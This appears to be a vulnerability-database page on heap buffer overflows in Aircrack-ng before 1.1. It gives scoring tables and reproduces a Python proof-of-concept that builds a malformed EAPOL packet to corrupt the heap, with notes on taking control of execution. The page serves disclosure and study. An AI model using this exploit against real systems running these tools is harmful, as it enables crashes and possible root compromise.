CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Multiple heap-based buffer overflows in Aircrack-ng before 1.1 allow remote attackers to cause a denial of service (crash) and execute arbitrary code via a (1) large length value in an EAPOL packet or (2) long EAPOL packet.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
9.42%
–
–
2022-04-03
–
–
9.42%
–
–
2023-03-12
–
–
–
39.01%
–
2023-10-29
–
–
–
42.55%
–
2024-06-02
–
–
–
42.55%
–
2024-12-22
–
–
–
27.17%
–
2025-01-26
–
–
–
21.15%
–
2025-03-02
–
–
–
21.15%
–
2025-01-19
–
–
–
27.17%
–
2025-01-25
–
–
–
21.15%
–
2025-03-09
–
–
–
21.15%
–
2025-03-18
–
–
–
–
27.76%
2025-03-18
–
–
–
–
27.76,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
''' A remote-exploit against the aircrack-ng tools. Tested up to svn r1675.
The tools' code responsible for parsing IEEE802.11-packets assumes the
self-proclaimed length of a EAPOL-packet to be correct and never to exceed
a (arbitrary) maximum size of 256 bytes for packets that are part of the
EAPOL-authentication. We can exploit this by letting the code parse packets
which:
a) proclaim to be larger than they really are, possibly causing the code
to read from invalid memory locations while copying the packet;
b) really do exceed the maximum size allowed and overflow data structures
allocated on the heap, overwriting libc's allocation-related
structures. This causes heap-corruption.
Both problems lead either to a SIGSEGV or a SIGABRT, depending on the code-
path. Careful layout of the packet's content can even possibly alter the
instruction-flow through the already well known heap-corruption paths
in libc. Playing with the proclaimed length of the EAPOL-packet and the
size and content of the packet's padding immediately end up in various
assertion errors during calls to free(). This reveals the possibility to
gain control over $EIP.
Given that we have plenty of room for payload and that the tools are
usually executed with root-privileges, we should be able to have a
single-packet-own-everything exploit at our hands. As the attacker can
cause the various tools to do memory-allocations at his will (through
faking the appearance of previously unknown clients), the resulting
exploit-code should have a high probability of success.
The demonstration-code below requires Scapy >= 2.x and Pyrit >= 0.3.1-dev
r238 to work. It generates pcap-file with single packet of the following
content:
0801000000DEADC0DE0000DEADC0DE010000000000000000AAAA03000000888E0103FDE8FE0
108000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000043616E20492068617320736F6D65206D6F6172
3F
03/27/2010, Lukas Lueg, lukas.lueg@gmail.com
'''
import cpyrit.pckttools
import scapy.layers
# A IEEE802.11-packet with LLC- and SNAP-header, looking like the second
# phase of a EAPOL-handshake (the confirmation). The size set in the EAPOL-
# packet will cause an overflow of the "eapol"-field in struct WPA_ST_info and
# struct WPA_hdsk.
# We have plenty of room for exploit-payload as most of the fields in the
# EAPOL_Key-packet are not interpreted. As far as I can see, the adjacent
# heap structure will be overwritten by the value of EAPOL_WPAKey.Nonce in
# case of airodump-ng...
pckt = scapy.layers.dot11.Dot11(addr1='00:de:ad:c0:de:00', \
addr2='00:de:ad:c0:de:01', \
FCfield='to-DS') \
/ scapy.layers.dot11.LLC() \
/ scapy.layers.dot11.SNAP() \
/ scapy.layers.l2.EAPOL(len=65000) \
/ cpyrit.pckttools.EAPOL_Key() \
/ cpyrit.pckttools.EAPOL_WPAKey(KeyInfo = 'pairwise+mic') \
/ scapy.packet.Padding(load='Can I has some moar?')
if __name__ == '__main__':
print "Packet's content:"
print ''.join("%02X" % ord(c) for c in str(pckt))
filename = 'aircrackng_exploit.cap'
print "Writing to '%s'" % filename
writer = cpyrit.pckttools.Dot11PacketWriter(filename)
writer.write(pckt)
writer.close()
print 'Done'
Products Mentioned
Configuraton 0
Aircrack-ng>>Aircrack-ng >> Version To (including) 1.0